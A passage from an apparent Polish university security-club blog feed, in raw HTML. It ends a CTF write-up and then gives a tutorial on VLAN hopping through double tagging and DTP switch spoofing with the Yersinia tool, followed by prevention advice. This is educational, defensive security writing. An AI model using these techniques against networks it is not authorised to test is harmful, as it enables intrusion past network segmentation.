&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s1">&amp;#39;ping&lt;/span>&lt;span class="si">{r3m3mb3r_70_h1d3_ur_d3bu993r}&lt;/span>&lt;span class="s1">&amp;#39;&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;h1>Rozwiązanie zadania zaproponowane przez jego autora&lt;/h1>&lt;figure class="align-center">
&lt;img loading="lazy" src="./17_intended.png">
&lt;figcaption style="display: flex; justify-content: center; align-items: center;">Rozwiązanie zadania zaproponowane przez jego autora&lt;/figcaption>
&lt;/figure></description></item><item><title>Hopsanie po sieciach VLAN</title><link>https://whitehats.pwr.edu.pl/blog/2023-07-08-vlan-hopping/</link><pubDate>Sat, 08 Jul 2023 00:00:00 +0000</pubDate><guid>https://whitehats.pwr.edu.pl/blog/2023-07-08-vlan-hopping/</guid><description>
&lt;figure>&lt;img src="https://whitehats.pwr.edu.pl/blog/2023-07-08-vlan-hopping/background_hu_df78356f8aadac4f.webp" width="1280" height="720" fetchpriority="high">
&lt;/figure>
&lt;p>W momencie, gdy w jakimś informatycznym akronimie pojawia się litera &lt;em>V&lt;/em>, prawdopodobnie oznacza to słowo &lt;em>virtual&lt;/em> (wirtualny): VM - &lt;a href="https://www.vmware.com/topics/glossary/content/virtual-machine.html"target="_blank" rel="noopener">&lt;em>virtual machine&lt;/em>&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>, VPN - &lt;a href="https://www.cisco.com/c/en/us/products/security/vpn-endpoint-security-clients/what-is-vpn.html"target="_blank" rel="noopener">&lt;em>virtual private network&lt;/em>&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>. Nie inaczej jest w przypadku VLAN, czyli &lt;a href="https://www.practicalnetworking.net/stand-alone/vlans/"target="_blank" rel="noopener">&lt;em>virtual local area network&lt;/em>&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> (wirtualna sieć lokalna, &lt;strong>nie mylić z VPN!&lt;/strong>). Tam gdzie pojawia się &lt;a href="https://www.ibm.com/topics/virtualization"target="_blank" rel="noopener">wirtualizacja&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> pojawiają się nowe możliwości. Sieci VLAN pomagają m. in. zmniejszyć koszty związane ze sprzętem, ale nieostrożnie skonfigurowane mogą powodować luki bezpieczeństwa.&lt;/p>
&lt;h2>Wstęp: sieci VLAN w skrócie&lt;span class="hx:absolute hx:-mt-20" id="wstęp-sieci-vlan-w-skrócie">&lt;/span>
&lt;a href="#wst%c4%99p-sieci-vlan-w-skr%c3%b3cie" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Sieci &lt;a href="https://www.solarwinds.com/resources/it-glossary/vlan"target="_blank" rel="noopener">VLAN&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> bazują na logicznych połączeniach zamiast na fizycznym rozmieszczeniu urządzeń. Komputery mogą być rozmieszczone na różnych piętrach budynku, podpięte do wielu &lt;a href="https://www.cloudflare.com/learning/network-layer/what-is-a-network-switch/"target="_blank" rel="noopener">przełączników&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>, ale należeć do tej samej sieci lokalnej. Tak samo urządzenia podłączone do jednego przełącznika mogą być w różnych sieciach IP i mieć możliwość komunikowania się ze sobą tylko poprzez &lt;a href="https://www.section.io/engineering-education/inter-vlan-routing/"target="_blank" rel="noopener">router&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>, ponieważ przełącznik będzie przekazywał &lt;a href="https://www.tutorialspoint.com/the-data-link-layer-frame-and-frame-fields"target="_blank" rel="noopener">ramki&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> tylko do portów przypisanych do tej samej sieci VLAN co porty, z których dane ramki odebrał. Powoduje to izolację urządzeń oraz zmniejsza domeny rozgłoszeniowe w sieci.&lt;/p>
&lt;figure class="align-center">
&lt;img loading="lazy" src="./vlans_example.png" alt="przykład vlan">
&lt;figcaption style="display: flex; justify-content: center; align-items: center;">Grafika utworzona za pomocą narzędzia &amp;nbsp;&lt;a
href="https://www.canva.com/pl_pl/" target="_blank">Canva&lt;/a>&lt;/figcaption>
&lt;/figure>
&lt;p>Z perspektywy użytkownika końcowego i aplikacji sieci VLAN nie różnią się niczym od klasycznych sieci lokalnych. Ich wdrożenie odbywa się na poziomie &lt;a href="https://networklessons.com/switching/how-to-configure-vlans-on-cisco-catalyst-switch"target="_blank" rel="noopener">portów przełączników&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>, tzn. na każdym porcie możemy określić, do jakiej sieci VLAN ma być przyporządkowany.&lt;/p>
&lt;blockquote>
&lt;p>Sieci VLAN to tak obszerny temat, że można by poświęcić im osobny artykuł, dlatego w celu ich dobrego zrozumienia odsyłam do zewnętrznych źródeł. Pomocny powinien być &lt;a href="https://www.youtube.com/watch?v=cjFzOnm6u1g&amp;amp;list=PLxbwE86jKRgMpuZuLBivzlM8s2Dk5lXBQ&amp;amp;index=29"target="_blank" rel="noopener">ten kurs&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> na YouTube.&lt;/p>
&lt;/blockquote>
&lt;h2>VLAN Hopping - przeskakiwanie między sieciami VLAN&lt;span class="hx:absolute hx:-mt-20" id="vlan-hopping---przeskakiwanie-między-sieciami-vlan">&lt;/span>
&lt;a href="#vlan-hopping---przeskakiwanie-mi%c4%99dzy-sieciami-vlan" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>W normalnym, pożądanym scenariuszu nie ma możliwości wysyłania żadnych danych do innych sieci VLAN niż ta, do której jesteśmy połączeni bez zatrudnienia do tego routera. Jednak takie ograniczenie można próbować obejść nadużywając mechanizmy kontroli przesyłu ramek z różnych sieci VLAN między przełącznikami.&lt;/p>
&lt;h3>Wstęp: połączenia &lt;code>trunk&lt;/code>&lt;span class="hx:absolute hx:-mt-20" id="wstęp-połączenia-trunk">&lt;/span>
&lt;a href="#wst%c4%99p-po%c5%82%c4%85czenia-trunk" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h3>&lt;p>Infrastruktura z wieloma sieciami VLAN najczęściej składa się też z wielu przełączników, połączonych nie tylko z hostami i routerami, ale także z innymi przełącznikami. Łącza między przełącznikami to tzw. łącza &lt;a href="https://www.firewall.cx/networking-topics/vlan-networks/218-vlan-access-trunk-links.html"target="_blank" rel="noopener">&lt;em>trunk&lt;/em>&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>. Porty &lt;em>trunk&lt;/em> to porty przełącznika, które nie należą do żadnej określonej sieci VLAN i służą do przesyłania ruchu z wielu wirtualnych sieci lokalnych między przełącznikami.&lt;/p>
&lt;p>Ale skąd switch, który na porcie trunk odbierze ramkę, ma wiedzieć do jakiej sieci VLAN ona należy?&lt;/p>
&lt;p>Odpowiedzi na to pytanie dostarcza standard &lt;a href="https://study-ccna.com/ieee-802-1q/"target="_blank" rel="noopener">IEEE 802.1Q&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>, zgodnie z którym do ramki &lt;a href="https://en.wikipedia.org/wiki/Ethernet"target="_blank" rel="noopener">Ethernet&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> dodawany jest &lt;a href="https://en.wikipedia.org/wiki/IEEE_802.1Q"target="_blank" rel="noopener">znacznik sieci VLAN&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> zawierający numer sieci VLAN, do której należy urządzenie wysyłające ramkę.&lt;/p>
&lt;p>Istnieje jednak typ sieci VLAN nazywany &lt;a href="https://www.networkacademy.io/ccna/ethernet/trunk-native-vlan"target="_blank" rel="noopener">&lt;em>natywnym&lt;/em>&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>, który służy do przekazywania ruchu nieoznakowanego, czyli pozbawionego znacznika 802.1Q.&lt;/p>
&lt;h3>Atak z podwójnym znakowaniem VLAN&lt;span class="hx:absolute hx:-mt-20" id="atak-z-podwójnym-znakowaniem-vlan">&lt;/span>
&lt;a href="#atak-z-podw%c3%b3jnym-znakowaniem-vlan" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h3>&lt;p>Jeśli atakujący podłączy urządzenie do portu przełącznika należącego do sieci VLAN, która jest siecią VLAN natywną, może wykorzystać podwójne znakowanie VLAN (&lt;em>VLAN double tagging&lt;/em>), aby wysłać pakiet do innej sieci VLAN niż ta, w której się znajduje.&lt;/p>
&lt;p>W tym celu tworzy ramkę która zawiera dwa znaczniki VLAN:&lt;/p>
&lt;ul>
&lt;li>zewnętrzny ze znacznikiem VLAN natywnego, do którego należy urządzenie intruza&lt;/li>
&lt;li>wewnętrzny ze znacznikiem VLAN, do którego należy urządzenie docelowe&lt;/li>
&lt;/ul>
&lt;p>Gdy taka ramka dociera do portu przełącznika, ten widzi, że jest przeznaczona dla VLAN natywnego, więc usuwa znacznik (zewnętrzny) VLAN, ponieważ natywny VLAN jest przeznaczony dla ruchu nieoznakowanego i przekazuje ramkę dalej. Kolejny przełącznik nie ma pojęcia, że odebrana ramka była przeznaczona dla VLAN natywnego, więc odczytuje znacznik (wewnętrzny) VLAN i wysyła ramkę do tej sieci VLAN. W końcu ramka trafia do urządzenia docelowego, do którego nigdy nie powinna trafić nie pokonując routera.&lt;/p>
&lt;figure class="align-center">
&lt;img loading="lazy" src="./vlan_double_tagging.png" alt="vlan double tagging">
&lt;figcaption style="display: flex; justify-content: center; align-items: center;">Grafika utworzona za pomocą narzędzia &amp;nbsp;&lt;a
href="https://www.canva.com/pl_pl/" target="_blank">Canva&lt;/a>&lt;/figcaption>
&lt;/figure>
&lt;blockquote>
&lt;p>Polecam obejrzeć &lt;a href="https://www.youtube.com/watch?v=SiFyhipl57A"target="_blank" rel="noopener">ten film&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> autorstwa &lt;a href="https://www.youtube.com/@davidbombal"target="_blank" rel="noopener">Davida Bombala&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>, w którym prezentowane jest działanie tego ataku na faktycznym sprzęcie z użyciem bardzo prostego &lt;a href="https://github.com/davidbombal/scapy/blob/main/vlan-hopping.py"target="_blank" rel="noopener">skryptu&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> w języku Python.&lt;/p>
&lt;/blockquote>
&lt;h3>Podszywanie się pod przełącznik&lt;span class="hx:absolute hx:-mt-20" id="podszywanie-się-pod-przełącznik">&lt;/span>
&lt;a href="#podszywanie-si%c4%99-pod-prze%c5%82%c4%85cznik" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h3>&lt;p>Port przełącznika &lt;a href="https://www.cisco.com/c/pl_pl/index.html"target="_blank" rel="noopener">Cisco&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> może działać w jednym z czterech trybów: &lt;code>access&lt;/code>, &lt;code>trunk&lt;/code>, &lt;code>dynamic auto&lt;/code> oraz &lt;code>dynamic desirable&lt;/code>. Dwa ostatnie korzystają z mechanizmu negocjacji połączenia trunk oferowanego przez protokół &lt;a href="https://study-ccna.com/dynamic-trunking-protocol-dtp-cisco/"target="_blank" rel="noopener">DTP (&lt;em>Dynamic Trunking Protocol&lt;/em>)&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>. Domyślnie, porty są skonfigurowane aby działały w trybie &lt;code>dynamic auto&lt;/code>, czyli pasywnej negocjacji - jeśli podłączymy do nich urządzenia końcowe, nie będą portami trunk i będą zachowywać się jak porty dostępowe. Mogą się jednak automatycznie przestawić na &lt;em>trunking&lt;/em>, jeśli podłączone do nich urządzenia zaczną z nimi negocjacje dotyczące utworzenia łącza trunk. To zachowanie można wykorzystać na niekorzyść sieci.&lt;/p>
&lt;p>Jeśli port przełącznika, do którego podłączył się intruz, jest skonfigurowany w trybie &lt;code>dynamic auto&lt;/code> lub &lt;code>dynamic desirable&lt;/code>, atakujący może utworzyć z tym portem łącze &lt;em>trunk&lt;/em> podszywając się tym samym pod przełącznik. W ten sposób będzie w stanie wysyłać, a nawet odbierać ruch z różnych sieci VLAN.&lt;/p>
&lt;figure class="align-center">
&lt;img loading="lazy" src="./fake_trunk.png" alt="dtp abuse">
&lt;figcaption style="display: flex; justify-content: center; align-items: center;">Grafika utworzona za pomocą narzędzia &amp;nbsp;&lt;a
href="https://www.canva.com/pl_pl/" target="_blank">Canva&lt;/a>&lt;/figcaption>
&lt;/figure>
&lt;p>Istnieje narzędzie dostępne na systemie &lt;a href="https://www.kali.org/"target="_blank" rel="noopener">Kali Linux&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> o nazwie &lt;a href="https://www.kali.org/tools/yersinia/"target="_blank" rel="noopener">Yersinia&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>. Służy do przeprowadzania ataków w warstwie drugiej &lt;a href="https://en.wikipedia.org/wiki/OSI_model"target="_blank" rel="noopener">modelu OSI&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> i można je wykorzystać do imitowania przełącznika. Program uruchamiamy wpisując w terminalu poniższe polecenie:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;pre>&lt;code>$ sudo yersinia -G&lt;/code>&lt;/pre>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;figure class="align-center">
&lt;img loading="lazy" src="./yersinia_gui.png" alt="yersinia gui">
&lt;figcaption style="display: flex; justify-content: center; align-items: center;">Zrzut ekranu z programu Yersinia&lt;/figcaption>
&lt;/figure>
&lt;p>Naszym oczom powinien ukazać się interfejs graficzny narzędzia Yersinia. Najpierw należy się upewnić, że będziemy korzystać z właściwego interfejsu sieciowego. Wybieramy &lt;em>Edit interfaces&lt;/em> i zaznaczamy ten, który nas interesuje. Żeby rozpocząć ustanawianie łącza trunk z przełącznikiem klikamy &lt;em>Launch attack&lt;/em>. Następnie wybieramy zakładkę &lt;em>DTP&lt;/em>, zaznaczamy &lt;em>enabling trunking&lt;/em> i wciskamy &lt;em>OK&lt;/em>.&lt;/p>
&lt;figure class="align-center">
&lt;img loading="lazy" src="./yesrinia_attack_enable_trunking.png" alt="yersinia DTP enabling trunking">
&lt;figcaption style="display: flex; justify-content: center; align-items: center;">Zrzut ekranu z programu Yersinia&lt;/figcaption>
&lt;/figure>
Przetestowałem owy atak na przełączniku [Cisco Catalyst 2960](https://www.cisco.com/c/en/us/support/switches/catalyst-2960-series-switches/series.html), a jego rezultat przedstawia zdjęcie poniżej:
&lt;figure class="align-center">
&lt;img loading="lazy" src="./trunk_created.png" alt="yersinia gui">
&lt;figcaption style="display: flex; justify-content: center; align-items: center;">Zrzut ekranu z terminala; interfejs wiersza poleceń &amp;nbsp;&lt;a href="https://en.wikipedia.org/wiki/Cisco_IOS" target="_blank">Cisco IOS&lt;/a>&lt;/figcaption>
&lt;/figure>
&lt;p>Port &lt;code>Fa0/25&lt;/code> był przeze mnie ręcznie ustawiony jako trunk bez wykorzystania protokołu DTP, ponieważ był połączony z innym przełącznikiem. Jednak port &lt;code>Fa0/15&lt;/code> był połączony z laptopem i korzystał z DTP (w trybie &lt;code>dynamic auto&lt;/code>) - jak widać, udało się włączyć na nim &lt;em>trunking&lt;/em>, co oznacza uzyskanie dostępu do wielu (jeśli nie wszystkich) sieci VLAN.&lt;/p>
&lt;blockquote>
&lt;p>Nie każdy posiada w swoim domu przełącznik, dlatego osobom zainteresowanym polecam obejrzeć &lt;a href="https://www.youtube.com/watch?v=u5cp_hcwq2c"target="_blank" rel="noopener">ten film&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> prezentujący nadużywanie protokołu DTP.&lt;/p>
&lt;/blockquote>
&lt;h2>Zapobieganie&lt;span class="hx:absolute hx:-mt-20" id="zapobieganie">&lt;/span>
&lt;a href="#zapobieganie" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Luki związane z sieciami VLAN polegają na nadużywaniu mechanizmów, na których się one opierają. Łatanie tych luk na szczęście jest proste i nie wymaga dodatkowego oprogramowania ani sprzętu, a jedynie przemyślanej konfiguracji. Wystarczy przestrzegać kliku prostych zasad:&lt;/p>
&lt;ul>
&lt;li>Domyślnie natywną siecią VLAN jest VLAN 1. Warto zmienić natywny VLAN na inny i nie przyporządkowywać do niego żadnych portów dostępowych, jeśli nie ma na to wyraźnej potrzeby.&lt;/li>
&lt;li>Na portach, do których mają być podłączane urządzenia końcowe należy &lt;strong>wyłączyć protokół DTP&lt;/strong>. Powinny być ustawione ręcznie jako dostępowe (&lt;em>access&lt;/em>) i być przypisane do odpowiednich sieci VLAN.&lt;/li>
&lt;li>Na portach przeznaczonych do działania jako trunk także można wyłączyć protokół DTP i ustawić je jako trunk ręcznie.&lt;/li>
&lt;/ul>
&lt;blockquote>
&lt;p>Dla większej ochrony warto również włączyć &lt;a href="https://study-ccna.com/port-security/"target="_blank" rel="noopener">bezpieczeństwo portu (&lt;em>port security&lt;/em>)&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/p>
&lt;/blockquote>
&lt;h2>Podsumowanie&lt;span class="hx:absolute hx:-mt-20" id="podsumowanie">&lt;/span>
&lt;a href="#podsumowanie" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Sieci VLAN są wygodne i powszechnie stosowane. Uniezależniają logiczną warstwę sieci od fizycznej infrastruktury i rozmieszczenia urządzeń redukując tym koszty związane z ich utrzymaniem - chcąc utworzyć dwie sieci lokalne wystarczy tylko jeden przełącznik. Sieci te będą odizolowane pod warunkiem, że zadbamy o dobre praktyki konfiguracyjne, aby nie było możliwe obejście izolacji. Na routerze mogą zostać skonfigurowane &lt;a href="https://www.nastykusieci.pl/acl-podstawy/"target="_blank" rel="noopener">listy kontroli dostępu&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>, jednak na nic się one nie zdadzą, jeśli do innej podsieci da się dotrzeć trasą, na której nie znajduje się router. Do osób podłączających się do sieci należy mieć ograniczone zaufanie i dbać o to, aby intruzi nie mogli nam w niej namieszać.&lt;/p>
&lt;h2>Źródła&lt;span class="hx:absolute hx:-mt-20" id="źródła">&lt;/span>
&lt;a href="#%c5%bar%c3%b3d%c5%82a" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Strony, którymi się wspierałem:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://www.vmware.com/topics/glossary/content/virtual-machine.html"target="_blank" rel="noopener">https://www.vmware.com/topics/glossary/content/virtual-machine.html&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.cisco.com/c/en/us/products/security/vpn-endpoint-security-clients/what-is-vpn.html"target="_blank" rel="noopener">https://www.cisco.com/c/en/us/products/security/vpn-endpoint-security-clients/what-is-vpn.html&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
